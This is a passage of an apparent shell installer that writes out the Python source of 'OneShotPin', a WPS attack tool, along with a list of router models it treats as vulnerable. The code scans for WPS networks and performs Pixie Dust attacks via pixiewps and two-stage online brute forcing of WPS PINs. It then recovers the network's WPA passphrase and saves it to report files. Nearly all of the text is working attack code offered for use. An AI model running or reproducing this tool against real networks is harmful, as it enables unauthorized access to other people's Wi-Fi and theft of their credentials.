- + (((b[3] + b[4]) % 10) * 1000)\
- + (((b[2] + b[3]) % 10) * 10000)\
- + (((b[1] + b[2]) % 10) * 100000)\
- + (((b[0] + b[1]) % 10) * 1000000)
- return pin
- def recvuntil(pipe, what):
- s = ''
- while True:
- inp = pipe.stdout.read(1)
- if inp == '':
- return s
- s += inp
- if what in s:
- return s
- def get_hex(line):
- a = line.split(':', 3)
- return a[2].replace(' ', '').upper()
- class PixiewpsData:
- def __init__(self):
- self.pke = ''
- self.pkr = ''
- self.e_hash1 = ''
- self.e_hash2 = ''
- self.authkey = ''
- self.e_nonce = ''
- def clear(self):
- self.__init__()
- def got_all(self):
- return (self.pke and self.pkr and self.e_nonce and self.authkey
- and self.e_hash1 and self.e_hash2)
- def get_pixie_cmd(self, full_range=False):
- pixiecmd = "pixiewps --pke {} --pkr {} --e-hash1 {}"\
- " --e-hash2 {} --authkey {} --e-nonce {}".format(
- self.pke, self.pkr, self.e_hash1,
- self.e_hash2, self.authkey, self.e_nonce)
- if full_range:
- pixiecmd += ' --force'
- return pixiecmd
- class ConnectionStatus:
- def __init__(self):
- self.status = '' # Must be WSC_NACK, WPS_FAIL or GOT_PSK
- self.last_m_message = 0
- self.essid = ''
- self.wpa_psk = ''
- def isFirstHalfValid(self):
- return self.last_m_message > 5
- def clear(self):
- self.__init__()
- class BruteforceStatus:
- def __init__(self):
- self.start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
- self.mask = ''
- self.last_attempt_time = time.time() # Last PIN attempt start time
- self.attempts_times = collections.deque(maxlen=15)
- self.counter = 0
- self.statistics_period = 5
- def display_status(self):
- average_pin_time = statistics.mean(self.attempts_times)
- if len(self.mask) == 4:
- percentage = int(self.mask) / 11000 * 100
- else:
- percentage = ((10000 / 11000) + (int(self.mask[4:]) / 11000)) * 100
- print('[*] {:.2f}% complete @ {} ({:.2f} seconds/pin)'.format(
- percentage, self.start_time, average_pin_time))
- def registerAttempt(self, mask):
- self.mask = mask
- self.counter += 1
- current_time = time.time()
- self.attempts_times.append(current_time - self.last_attempt_time)
- self.last_attempt_time = current_time
- if self.counter == self.statistics_period:
- self.counter = 0
- self.display_status()
- def clear(self):
- self.__init__()
- class Companion:
- """Main application part"""
- def __init__(self, interface, save_result=False, print_debug=False):
- self.interface = interface
- self.save_result = save_result
- self.print_debug = print_debug
- self.tempdir = tempfile.mkdtemp()
- with tempfile.NamedTemporaryFile(mode='w', suffix='.conf', delete=False) as temp:
- temp.write('ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n'.format(self.tempdir))
- self.tempconf = temp.name
- self.wpas_ctrl_path = f"{self.tempdir}/{interface}"
- self.__init_wpa_supplicant()
- self.res_socket_file = f"{tempfile._get_default_tempdir()}/{next(tempfile._get_candidate_names())}"
- self.retsock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
- self.retsock.bind(self.res_socket_file)
- self.pixie_creds = PixiewpsData()
- self.connection_status = ConnectionStatus()
- user_home = str(pathlib.Path.home())
- self.sessions_dir = f'{user_home}/.OneShot/sessions/'
- self.pixiewps_dir = f'{user_home}/.OneShot/pixiewps/'
- self.reports_dir = os.path.dirname(os.path.realpath(__file__)) + '/reports/'
- if not os.path.exists(self.sessions_dir):
- os.makedirs(self.sessions_dir)
- if not os.path.exists(self.pixiewps_dir):
- os.makedirs(self.pixiewps_dir)
- self.generator = WPSpin()
- def __init_wpa_supplicant(self):
- print('[*] Running wpa_supplicant…')
- cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}'.format(self.interface, self.tempconf)
- self.wpas = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT, encoding='utf-8', errors='replace')
- # Waiting for wpa_supplicant control interface initialization
- while True:
- ret = self.wpas.poll()
- if ret is not None and ret != 0:
- raise ValueError('wpa_supplicant returned an error: ' + self.wpas.communicate()[0])
- if os.path.exists(self.wpas_ctrl_path):
- break
- time.sleep(.1)
- def sendOnly(self, command):
- """Sends command to wpa_supplicant"""
- self.retsock.sendto(command.encode(), self.wpas_ctrl_path)
- def sendAndReceive(self, command):
- """Sends command to wpa_supplicant and returns the reply"""
- self.retsock.sendto(command.encode(), self.wpas_ctrl_path)
- (b, address) = self.retsock.recvfrom(4096)
- inmsg = b.decode('utf-8', errors='replace')
- return inmsg
- @staticmethod
- def _explain_wpas_not_ok_status(command: str, respond: str):
- if command.startswith(('WPS_REG', 'WPS_PBC')):
- if respond == 'UNKNOWN COMMAND':
- return ('[!] It looks like your wpa_supplicant is compiled without WPS protocol support. '
- 'Please build wpa_supplicant with WPS support ("CONFIG_WPS=y")')
- return '[!] Something went wrong — check out debug log'
- def __handle_wpas(self, pixiemode=False, pbc_mode=False, verbose=None):
- if not verbose:
- verbose = self.print_debug
- line = self.wpas.stdout.readline()
- if not line:
- self.wpas.wait()
- return False
- line = line.rstrip('\n')
- if verbose:
- sys.stderr.write(line + '\n')
- if line.startswith('WPS: '):
- if 'Building Message M' in line:
- n = int(line.split('Building Message M')[1].replace('D', ''))
- self.connection_status.last_m_message = n
- print('[*] Sending WPS Message M{}…'.format(n))
- elif 'Received M' in line:
- n = int(line.split('Received M')[1])
- self.connection_status.last_m_message = n
- print('[*] Received WPS Message M{}'.format(n))
- if n == 5:
- print('[+] The first half of the PIN is valid')
- elif 'Enrollee Nonce' in line and 'hexdump' in line:
- self.pixie_creds.e_nonce = get_hex(line)
- assert(len(self.pixie_creds.e_nonce) == 16*2)
- if pixiemode:
- print('[P] E-Nonce: {}'.format(self.pixie_creds.e_nonce))
- elif 'DH own Public Key' in line and 'hexdump' in line:
- self.pixie_creds.pkr = get_hex(line)
- assert(len(self.pixie_creds.pkr) == 192*2)
- if pixiemode:
- print('[P] PKR: {}'.format(self.pixie_creds.pkr))
- elif 'DH peer Public Key' in line and 'hexdump' in line:
- self.pixie_creds.pke = get_hex(line)
- assert(len(self.pixie_creds.pke) == 192*2)
- if pixiemode:
- print('[P] PKE: {}'.format(self.pixie_creds.pke))
- elif 'AuthKey' in line and 'hexdump' in line:
- self.pixie_creds.authkey = get_hex(line)
- assert(len(self.pixie_creds.authkey) == 32*2)
- if pixiemode:
- print('[P] AuthKey: {}'.format(self.pixie_creds.authkey))
- elif 'E-Hash1' in line and 'hexdump' in line:
- self.pixie_creds.e_hash1 = get_hex(line)
- assert(len(self.pixie_creds.e_hash1) == 32*2)
- if pixiemode:
- print('[P] E-Hash1: {}'.format(self.pixie_creds.e_hash1))
- elif 'E-Hash2' in line and 'hexdump' in line:
- self.pixie_creds.e_hash2 = get_hex(line)
- assert(len(self.pixie_creds.e_hash2) == 32*2)
- if pixiemode:
- print('[P] E-Hash2: {}'.format(self.pixie_creds.e_hash2))
- elif 'Network Key' in line and 'hexdump' in line:
- self.connection_status.status = 'GOT_PSK'
- self.connection_status.wpa_psk = bytes.fromhex(get_hex(line)).decode('utf-8', errors='replace')
- elif ': State: ' in line:
- if '-> SCANNING' in line:
- self.connection_status.status = 'scanning'
- print('[*] Scanning…')
- elif ('WPS-FAIL' in line) and (self.connection_status.status != ''):
- if 'msg=5 config_error=15' in line:
- print('[*] Received WPS-FAIL with reason: WPS LOCKED')
- self.connection_status.status = 'WPS_FAIL'
- elif 'msg=8' in line:
- if 'config_error=15' in line:
- print('[*] Received WPS-FAIL with reason: WPS LOCKED')
- self.connection_status.status = 'WPS_FAIL'
- else:
- self.connection_status.status = 'WSC_NACK'
- print('[-] Error: PIN was wrong')
- elif 'config_error=2' in line:
- print('[*] Received WPS-FAIL with reason: CRC FAILURE')
- self.connection_status.status = 'WPS_FAIL'
- else:
- self.connection_status.status = 'WPS_FAIL'
- # elif 'NL80211_CMD_DEL_STATION' in line:
- # print("[!] Unexpected interference — kill NetworkManager/wpa_supplicant!")
- elif 'Trying to authenticate with' in line:
- self.connection_status.status = 'authenticating'
- if 'SSID' in line:
- self.connection_status.essid = (codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape')
- .encode('latin1').decode('utf-8', errors='replace'))
- print('[*] Authenticating…')
- elif 'Authentication response' in line:
- print('[+] Authenticated')
- elif 'Trying to associate with' in line:
- self.connection_status.status = 'associating'
- if 'SSID' in line:
- self.connection_status.essid = (codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape')
- .encode('latin1').decode('utf-8', errors='replace'))
- print('[*] Associating with AP…')
- elif ('Associated with' in line) and (self.interface in line):
- bssid = line.split()[-1].upper()
- if self.connection_status.essid:
- print('[+] Associated with {} (ESSID: {})'.format(bssid, self.connection_status.essid))
- else:
- print('[+] Associated with {}'.format(bssid))
- elif 'EAPOL: txStart' in line:
- self.connection_status.status = 'eapol_start'
- print('[*] Sending EAPOL Start…')
- elif 'EAP entering state IDENTITY' in line:
- print('[*] Received Identity Request')
- elif 'using real identity' in line:
- print('[*] Sending Identity Response…')
- elif pbc_mode and ('selected BSS ' in line):
- bssid = line.split('selected BSS ')[-1].split()[0].upper()
- self.connection_status.bssid = bssid
- print('[*] Selected AP: {}'.format(bssid))
- return True
- def __runPixiewps(self, showcmd=False, full_range=False):
- print("[*] Running Pixiewps…")
- cmd = self.pixie_creds.get_pixie_cmd(full_range)
- if showcmd:
- print(cmd)
- r = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,
- stderr=sys.stdout, encoding='utf-8', errors='replace')
- print(r.stdout)
- if r.returncode == 0:
- lines = r.stdout.splitlines()
- for line in lines:
- if ('[+]' in line) and ('WPS pin' in line):
- pin = line.split(':')[-1].strip()
- if pin == '<empty>':
- pin = "''"
- return pin
- return False
- def __credentialPrint(self, wps_pin=None, wpa_psk=None, essid=None):
- print(f"[+] WPS PIN: '{wps_pin}'")
- print(f"[+] WPA PSK: '{wpa_psk}'")
- print(f"[+] AP SSID: '{essid}'")
- def __saveResult(self, bssid, essid, wps_pin, wpa_psk):
- if not os.path.exists(self.reports_dir):
- os.makedirs(self.reports_dir)
- filename = self.reports_dir + 'stored'
- dateStr = datetime.now().strftime("%d.%m.%Y %H:%M")
- with open(filename + '.txt', 'a', encoding='utf-8') as file:
- file.write('{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n\n'.format(
- dateStr, bssid, essid, wps_pin, wpa_psk
- )
- )
- writeTableHeader = not os.path.isfile(filename + '.csv')
- with open(filename + '.csv', 'a', newline='', encoding='utf-8') as file:
- csvWriter = csv.writer(file, delimiter=';', quoting=csv.QUOTE_ALL)
- if writeTableHeader:
- csvWriter.writerow(['Date', 'BSSID', 'ESSID', 'WPS PIN', 'WPA PSK'])
- csvWriter.writerow([dateStr, bssid, essid, wps_pin, wpa_psk])
- print(f'[i] Credentials saved to {filename}.txt, {filename}.csv')
- def __savePin(self, bssid, pin):
- filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper())
- with open(filename, 'w') as file:
- file.write(pin)
- print('[i] PIN saved in {}'.format(filename))
- def __prompt_wpspin(self, bssid):
- pins = self.generator.getSuggested(bssid)
- if len(pins) > 1:
- print(f'PINs generated for {bssid}:')
- print('{:<3} {:<10} {:<}'.format('#', 'PIN', 'Name'))
- for i, pin in enumerate(pins):
- number = '{})'.format(i + 1)
- line = '{:<3} {:<10} {:<}'.format(
- number, pin['pin'], pin['name'])
- print(line)
- while 1:
- pinNo = input('Select the PIN: ')
- try:
- if int(pinNo) in range(1, len(pins)+1):
- pin = pins[int(pinNo) - 1]['pin']
- else:
- raise IndexError
- except Exception:
- print('Invalid number')
- else:
- break
- elif len(pins) == 1:
- pin = pins[0]
- print('[i] The only probable PIN is selected:', pin['name'])
- pin = pin['pin']
- else:
- return None
- return pin
- def __wps_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, verbose=None):
- if not verbose:
- verbose = self.print_debug
- self.pixie_creds.clear()
- self.connection_status.clear()
- self.wpas.stdout.read(300) # Clean the pipe
- if pbc_mode:
- if bssid:
- print(f"[*] Starting WPS push button connection to {bssid}…")
- cmd = f'WPS_PBC {bssid}'
- else:
- print("[*] Starting WPS push button connection…")
- cmd = 'WPS_PBC'
- else:
- print(f"[*] Trying PIN '{pin}'…")
- cmd = f'WPS_REG {bssid} {pin}'
- r = self.sendAndReceive(cmd)
- if 'OK' not in r:
- self.connection_status.status = 'WPS_FAIL'
- print(self._explain_wpas_not_ok_status(cmd, r))
- return False
- while True:
- res = self.__handle_wpas(pixiemode=pixiemode, pbc_mode=pbc_mode, verbose=verbose)
- if not res:
- break
- if self.connection_status.status == 'WSC_NACK':
- break
- elif self.connection_status.status == 'GOT_PSK':
- break
- elif self.connection_status.status == 'WPS_FAIL':
- break
- self.sendOnly('WPS_CANCEL')
- return False
- def single_connection(self, bssid=None, ssid=None, pin=None, pixiemode=False, pbc_mode=False, showpixiecmd=False,
- pixieforce=False, store_pin_on_fail=False):
- if not pin:
- if pixiemode:
- try:
- # Try using the previously calculated PIN
- filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper())
- with open(filename, 'r') as file:
- t_pin = file.readline().strip()
- if input('[?] Use previously calculated PIN {}? [n/Y] '.format(t_pin)).lower() != 'n':
- pin = t_pin
- else:
- raise FileNotFoundError
- except FileNotFoundError:
- pin = self.generator.getLikely(bssid) or '12345670'
- elif not pbc_mode:
- # If not pixiemode, ask user to select a pin from the list
- pin = self.__prompt_wpspin(bssid) or '12345670'
- if pbc_mode:
- self.__wps_connection(bssid, pbc_mode=pbc_mode)
- bssid = self.connection_status.bssid
- pin = '<PBC mode>'
- elif store_pin_on_fail:
- try:
- self.__wps_connection(bssid, pin, pixiemode)
- except KeyboardInterrupt:
- print("\nAborting…")
- self.__savePin(bssid, pin)
- return False
- else:
- self.__wps_connection(bssid, pin, pixiemode)
- if self.connection_status.status == 'GOT_PSK':
- self.__credentialPrint(pin, self.connection_status.wpa_psk, self.connection_status.essid)
- if self.save_result:
- self.__saveResult(bssid, self.connection_status.essid, pin, self.connection_status.wpa_psk)
- if not pbc_mode:
- # Try to remove temporary PIN file
- filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper())
- try:
- os.remove(filename)
- except FileNotFoundError:
- pass
- return True
- elif pixiemode:
- if self.pixie_creds.got_all():
- pin = self.__runPixiewps(showpixiecmd, pixieforce)
- if pin:
- return self.single_connection(bssid, pin, pixiemode=False, store_pin_on_fail=True)
- return False
- else:
- print('[!] Not enough data to run Pixie Dust attack')
- return False
- else:
- if store_pin_on_fail:
- # Saving Pixiewps calculated PIN if can't connect
- self.__savePin(bssid, pin)
- return False
- def __first_half_bruteforce(self, bssid, f_half, delay=None):
- """
- @f_half — 4-character string
- """
- checksum = self.generator.checksum
- while int(f_half) < 10000:
- t = int(f_half + '000')
- pin = '{}000{}'.format(f_half, checksum(t))
- self.single_connection(bssid, pin)
- if self.connection_status.isFirstHalfValid():
- print('[+] First half found')
- return f_half
- elif self.connection_status.status == 'WPS_FAIL':
- print('[!] WPS transaction failed, re-trying last pin')
- return self.__first_half_bruteforce(bssid, f_half)
- f_half = str(int(f_half) + 1).zfill(4)
- self.bruteforce.registerAttempt(f_half)
- if delay:
- time.sleep(delay)
- print('[-] First half not found')
- return False
- def __second_half_bruteforce(self, bssid, f_half, s_half, delay=None):
- """
- @f_half — 4-character string
- @s_half — 3-character string
- """
- checksum = self.generator.checksum
- while int(s_half) < 1000:
- t = int(f_half + s_half)
- pin = '{}{}{}'.format(f_half, s_half, checksum(t))
- self.single_connection(bssid, pin)
- if self.connection_status.last_m_message > 6:
- return pin
- elif self.connection_status.status == 'WPS_FAIL':
- print('[!] WPS transaction failed, re-trying last pin')
- return self.__second_half_bruteforce(bssid, f_half, s_half)
- s_half = str(int(s_half) + 1).zfill(3)
- self.bruteforce.registerAttempt(f_half + s_half)
- if delay:
- time.sleep(delay)
- return False
- def smart_bruteforce(self, bssid, start_pin=None, delay=None):
- if (not start_pin) or (len(start_pin) < 4):
- # Trying to restore previous session
- try:
- filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper())
- with open(filename, 'r') as file:
- if input('[?] Restore previous session for {}? [n/Y] '.format(bssid)).lower() != 'n':
- mask = file.readline().strip()
- else:
- raise FileNotFoundError
- except FileNotFoundError:
- mask = '0000'
- else:
- mask = start_pin[:7]
- try:
- self.bruteforce = BruteforceStatus()
- self.bruteforce.mask = mask
- if len(mask) == 4:
- f_half = self.__first_half_bruteforce(bssid, mask, delay)
- if f_half and (self.connection_status.status != 'GOT_PSK'):
- self.__second_half_bruteforce(bssid, f_half, '001', delay)
- elif len(mask) == 7:
- f_half = mask[:4]
- s_half = mask[4:]
- self.__second_half_bruteforce(bssid, f_half, s_half, delay)
- raise KeyboardInterrupt
- except KeyboardInterrupt:
- print("\nAborting…")
- filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper())
- with open(filename, 'w') as file:
- file.write(self.bruteforce.mask)
- print('[i] Session saved in {}'.format(filename))
- if args.loop:
- raise KeyboardInterrupt
- def cleanup(self):
- self.retsock.close()
- self.wpas.terminate()
- os.remove(self.res_socket_file)
- shutil.rmtree(self.tempdir, ignore_errors=True)
- os.remove(self.tempconf)
- def __del__(self):
- self.cleanup()
- class WiFiScanner:
- """docstring for WiFiScanner"""
- def __init__(self, interface, vuln_list=None):
- self.interface = interface
- self.vuln_list = vuln_list
- reports_fname = os.path.dirname(os.path.realpath(__file__)) + '/reports/stored.csv'
- try:
- with open(reports_fname, 'r', newline='', encoding='utf-8', errors='replace') as file:
- csvReader = csv.reader(file, delimiter=';', quoting=csv.QUOTE_ALL)
- # Skip header
- next(csvReader)
- self.stored = []
- for row in csvReader:
- self.stored.append(
- (
- row[1], # BSSID
- row[2] # ESSID
- )
- )
- except FileNotFoundError:
- self.stored = []
- def checkvuln_from_pin_csv(self, pin_file_path, mac):
- with open(pin_file_path, newline='') as csvfile:
- reader = csv.reader(csvfile)
- for row in reader:
- if mac.startswith(row[1]):
- return True
- def iw_scanner(self) -> Dict[int, dict]:
- """Parsing iw scan results"""
- def handle_network(line, result, networks):
- networks.append(
- {
- 'Security type': 'Unknown',
- 'WPS': False,
- 'WPS locked': False,
- 'Model': '',
- 'Model number': '',
- 'Device name': ''
- }
- )
- networks[-1]['BSSID'] = result.group(1).upper()
- def handle_essid(line, result, networks):
- d = result.group(1)
- networks[-1]['ESSID'] = (codecs.decode(d, 'unicode-escape')
- .encode('latin1').decode('utf-8', errors='replace'))
- def handle_level(line, result, networks):
- networks[-1]['Level'] = int(float(result.group(1)))
- def handle_securityType(line, result, networks):
- sec = networks[-1]['Security type']
- if result.group(1) == 'capability':
- if 'Privacy' in result.group(2):
- sec = 'WEP'
- else:
- sec = 'Open'
- elif sec == 'WEP':
- if result.group(1) == 'RSN':
- sec = 'WPA2'
- elif result.group(1) == 'WPA':
- sec = 'WPA'
- elif sec == 'WPA':
- if result.group(1) == 'RSN':
- sec = 'WPA/WPA2'
- elif sec == 'WPA2':
- if result.group(1) == 'WPA':
- sec = 'WPA/WPA2'
- networks[-1]['Security type'] = sec
- def handle_wps(line, result, networks):
- networks[-1]['WPS'] = result.group(1)
- def handle_wpsLocked(line, result, networks):
- flag = int(result.group(1), 16)
- if flag:
- networks[-1]['WPS locked'] = True
- def handle_model(line, result, networks):
- d = result.group(1)
- networks[-1]['Model'] = (codecs.decode(d, 'unicode-escape')
- .encode('latin1').decode('utf-8', errors='replace'))
- def handle_modelNumber(line, result, networks):
- d = result.group(1)
- networks[-1]['Model number'] = (codecs.decode(d, 'unicode-escape')
- .encode('latin1').decode('utf-8', errors='replace'))
- def handle_deviceName(line, result, networks):
- d = result.group(1)
- networks[-1]['Device name'] = (codecs.decode(d, 'unicode-escape')
- .encode('latin1').decode('utf-8', errors='replace'))
- cmd = 'iw dev {} scan'.format(self.interface)
- proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT, encoding='utf-8', errors='replace')
- lines = proc.stdout.splitlines()
- networks = []
- matchers = {
- re.compile(r'BSS (\S+)( )?\(on \w+\)'): handle_network,
- re.compile(r'SSID: (.*)'): handle_essid,
- re.compile(r'signal: ([+-]?([0-9]*[.])?[0-9]+) dBm'): handle_level,
- re.compile(r'(capability): (.+)'): handle_securityType,
- re.compile(r'(RSN):\t [*] Version: (\d+)'): handle_securityType,
- re.compile(r'(WPA):\t [*] Version: (\d+)'): handle_securityType,
- re.compile(r'WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)'): handle_wps,
- re.compile(r' [*] AP setup locked: (0x[0-9]+)'): handle_wpsLocked,
- re.compile(r' [*] Model: (.*)'): handle_model,
- re.compile(r' [*] Model Number: (.*)'): handle_modelNumber,
- re.compile(r' [*] Device name: (.*)'): handle_deviceName
- }
- for line in lines:
- if line.startswith('command failed:'):
- print('[!] Error:', line)
- return False
- line = line.strip('\t')
- for regexp, handler in matchers.items():
- res = re.match(regexp, line)
- if res:
- handler(line, res, networks)
- # Filtering non-WPS networks
- networks = list(filter(lambda x: bool(x['WPS']), networks))
- if not networks:
- return False
- # Sorting by signal level
- networks.sort(key=lambda x: x['Level'], reverse=True)
- # Putting a list of networks in a dictionary, where each key is a network number in list of networks
- network_list = {(i + 1): network for i, network in enumerate(networks)}
- # Printing scanning results as table
- def truncateStr(s, length, postfix='…'):
- """
- Truncate string with the specified length
- @s — input string
- @length — length of output string
- """
- if len(s) > length:
- k = length - len(postfix)
- s = s[:k] + postfix
- return s
- def colored(text, color=None):
- """Returns colored text"""
- if color:
- if color == 'green':
- text = '\033[92m{}\033[00m'.format(text)
- elif color == 'red':
- text = '\033[91m{}\033[00m'.format(text)
- elif color == 'yellow':
- text = '\033[93m{}\033[00m'.format(text)
- else:
- return text
- else:
- return text
- return text
- if self.vuln_list:
- print('Network marks: {1} {0} {2} {0} {3}'.format(
- '|',
- colored('Possibly vulnerable', color='green'),
- colored('WPS locked', color='red'),
- colored('Already stored', color='yellow')
- ))
- print('Networks list:')
- print('{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(
- '#', 'BSSID', 'ESSID', 'Sec.', 'PWR', 'WSC device name', 'WSC model'))
- network_list_items = list(network_list.items())
- if args.reverse_scan:
- network_list_items = network_list_items[::-1]
- for n, network in network_list_items:
- number = f'{n})'
- model = '{} {}'.format(network['Model'], network['Model number'])
- essid = truncateStr(network['ESSID'], 25)
- deviceName = truncateStr(network['Device name'], 27)
- line = '{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(
- number, network['BSSID'], essid,
- network['Security type'], network['Level'],
- deviceName, model
- )
- if (network['BSSID'], network['ESSID']) in self.stored:
- print(colored(line, color='yellow'))
- elif network['WPS locked']:
- print(colored(line, color='red'))
- elif ((self.vuln_list and (model in self.vuln_list))
- or self.checkvuln_from_pin_csv(os.path.join(os.path.dirname(os.path.realpath(__file__)),
- 'pins.csv'), network['BSSID'])):
- print(colored(line, color='green'))
- else:
- print(line)
- return network_list
- def prompt_network(self) -> tuple:
- networks = self.iw_scanner()
- if not networks:
- print('[-] No WPS networks found.')
- return
- while 1:
- try:
- networkNo = input('Select target (press Enter to refresh): ')
- if networkNo.lower() in ('r', '0', ''):
- return self.prompt_network()
- elif int(networkNo) in networks.keys():
- if networks[int(networkNo)]['ESSID'] is None:
- return networks[int(networkNo)]['BSSID']
- else:
- return networks[int(networkNo)]['BSSID'], networks[int(networkNo)]['ESSID']
- else:
- raise IndexError
- except Exception:
- print('Invalid number')
- def ifaceUp(iface, down=False):
- if down:
- action = 'down'
- else:
- action = 'up'
- cmd = 'ip link set {} {}'.format(iface, action)
- res = subprocess.run(cmd, shell=True, stdout=sys.stdout, stderr=sys.stdout)
- if res.returncode == 0:
- return True
- else:
- return False
- def die(msg):
- sys.stderr.write(msg + '\n')
- sys.exit(1)
- def usage():
- return """
- OneShotPin 0.0.2 (c) 2017 rofl0r, drygdryg and fulvius31
- %(prog)s <arguments>
- Required arguments:
- -i, --interface=<wlan0> : Name of the interface to use
- Optional arguments:
- -b, --bssid=<mac> : BSSID of the target AP
- -s, --ssid=<ssid> : SSID of the target AP
- -p, --pin=<wps pin> : Use the specified pin (arbitrary string or 4/8 digit pin)
- -K, --pixie-dust : Run Pixie Dust attack
- -B, --bruteforce : Run online bruteforce attack
- --push-button-connect : Run WPS push button connection
- Advanced arguments:
- -d, --delay=<n> : Set the delay between pin attempts [0]
- -w, --write : Write AP credentials to the file on success
- -F, --pixie-force : Run Pixiewps with --force option (bruteforce full range)
- -X, --show-pixie-cmd : Always print Pixiewps command
- --vuln-list=<filename> : Use custom file with vulnerable devices list ['vulnwsc.txt']
- --iface-down : Down network interface when the work is finished
- -l, --loop : Run in a loop
- -r, --reverse-scan : Reverse order of networks in the list of networks. Useful on small displays
- --mtk-wifi : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit
- (for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this.
- -v, --verbose : Verbose output
- Example:
- %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K
- """
- if __name__ == '__main__':
- import argparse
- parser = argparse.ArgumentParser(
- description='OneShotPin 0.0.2 (c) 2017 rofl0r, drygdryg and fulvius31',
- epilog='Example: %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K'
- )
- parser.add_argument(
- '-i', '--interface',
- type=str,
- required=True,
- help='Name of the interface to use'
- )
- parser.add_argument(
- '-b', '--bssid',
- type=str,
- help='BSSID of the target AP'
- )
- parser.add_argument(
- '-s', '--ssid',
- type=str,
- help='SSID of the target AP'
- )
- parser.add_argument(
- '-p', '--pin',
- type=str,
- help='Use the specified pin (arbitrary string or 4/8 digit pin)'
- )
- parser.add_argument(
- '-K', '--pixie-dust',
- action='store_true',
- help='Run Pixie Dust attack'
- )
- parser.add_argument(
- '-F', '--pixie-force',
- action='store_true',
- help='Run Pixiewps with --force option (bruteforce full range)'
- )
- parser.add_argument(
- '-X', '--show-pixie-cmd',
- action='store_true',
- help='Always print Pixiewps command'
- )
- parser.add_argument(
- '-B', '--bruteforce',
- action='store_true',
- help='Run online bruteforce attack'
- )
- parser.add_argument(
- '--pbc', '--push-button-connect',
- action='store_true',
- help='Run WPS push button connection'
- )
- parser.add_argument(
- '-d', '--delay',
- type=float,
- help='Set the delay between pin attempts'
- )
- parser.add_argument(
- '-w', '--write',
- action='store_true',
- help='Write credentials to the file on success'
- )
- parser.add_argument(
- '--iface-down',
- action='store_true',
- help='Down network interface when the work is finished'
- )
- parser.add_argument(
- '--vuln-list',
- type=str,
- default=os.path.dirname(os.path.realpath(__file__)) + '/vulnwsc.txt',
- help='Use custom file with vulnerable devices list'
- )
- parser.add_argument(
- '-l', '--loop',
- action='store_true',
- help='Run in a loop'
- )
- parser.add_argument(
- '-r', '--reverse-scan',
- action='store_true',
- help='Reverse order of networks in the list of networks. Useful on small displays'
- )
- parser.add_argument(
- '--mtk-wifi',
- action='store_true',
- help='Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit '
- '(for internal Wi-Fi adapters implemented in MediaTek SoCs). '
- 'Turn off Wi-Fi in the system settings before using this.'
- )
- parser.add_argument(
- '-v', '--verbose',
- action='store_true',
- help='Verbose output'
- )
- args = parser.parse_args()
- if sys.hexversion < 0x03060F0:
- die("The program requires Python 3.6 and above")
- if os.getuid() != 0:
- die("Run it as root")
- if args.mtk_wifi:
- wmtWifi_device = Path("/dev/wmtWifi")
- if not wmtWifi_device.is_char_device():
- die("Unable to activate MediaTek Wi-Fi interface device (--mtk-wifi): "
- "/dev/wmtWifi does not exist or it is not a character device")
- wmtWifi_device.chmod(0o644)
- wmtWifi_device.write_text("1")
- if not ifaceUp(args.interface):
- die('Unable to up interface "{}"'.format(args.interface))
- while True:
- try:
- companion = Companion(args.interface, args.write, print_debug=args.verbose)
- if args.pbc:
- companion.single_connection(pbc_mode=True)
- else:
- if not args.bssid:
- try:
- with open(args.vuln_list, 'r', encoding='utf-8') as file:
- vuln_list = file.read().splitlines()
- except FileNotFoundError:
- vuln_list = []
- scanner = WiFiScanner(args.interface, vuln_list)
- if not args.loop:
- print('[*] BSSID not specified (--bssid) — scanning for available networks')
- network_info = scanner.prompt_network()
- if network_info:
- args.bssid = network_info[0]
- args.ssid = network_info[1] if len(network_info) > 1 else None
- if args.bssid:
- companion = Companion(args.interface, args.write, print_debug=args.verbose)
- if args.bruteforce:
- companion.smart_bruteforce(args.bssid, args.pin, args.delay)
- else:
- companion.single_connection(bssid=args.bssid, ssid=args.ssid, pin=args.pin,
- pixiemode=args.pixie_dust,showpixiecmd=args.show_pixie_cmd,
- pixieforce=args.pixie_force)
- if not args.loop:
- break
- else:
- args.bssid = None
- except KeyboardInterrupt:
- if args.loop:
- if input("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ").lower() == 'y':
- print("Aborting…")
- break
- else:
- args.bssid = None
- else:
- print("\nAborting…")
- break
- if args.iface_down:
- ifaceUp(args.interface, down=True)
- if args.mtk_wifi:
- wmtWifi_device.write_text("0")
- EOF
- cat << EOF > $PREFIX/bin/vulnwsc.txt
- Archer C50 4.0
- TL-WR845N 3.0
- TL-WR850N 3.0
- Wi-Fi Protected Setup Router RT-N12VP
- Wireless Router RTL8xxx EV-2009-02-06
- WPS Router RT-AC52U
- Archer MR200 4.0
- Archer C50 6.0
- TD-W9960v 1.0
- EV-2009-02-06
- TL-MR3020 3.0
- TL-MR6400 3.0
- NETGEAR Wireless Access Point R6260
- TL-WR850N 1.0
- JWNR2000v2(Wireless AP) JWNR2000v2
- VN020-F3 1.0
- WPS Router RT-N11P
- Wireless Router 123456
- D-Link Router GO-RT-N150
- RTL8196E
- Wireless WPS Router RT-N10LX
- Archer_A9 1.0
- WN3000RP V3
- WPS Router DSL-N16
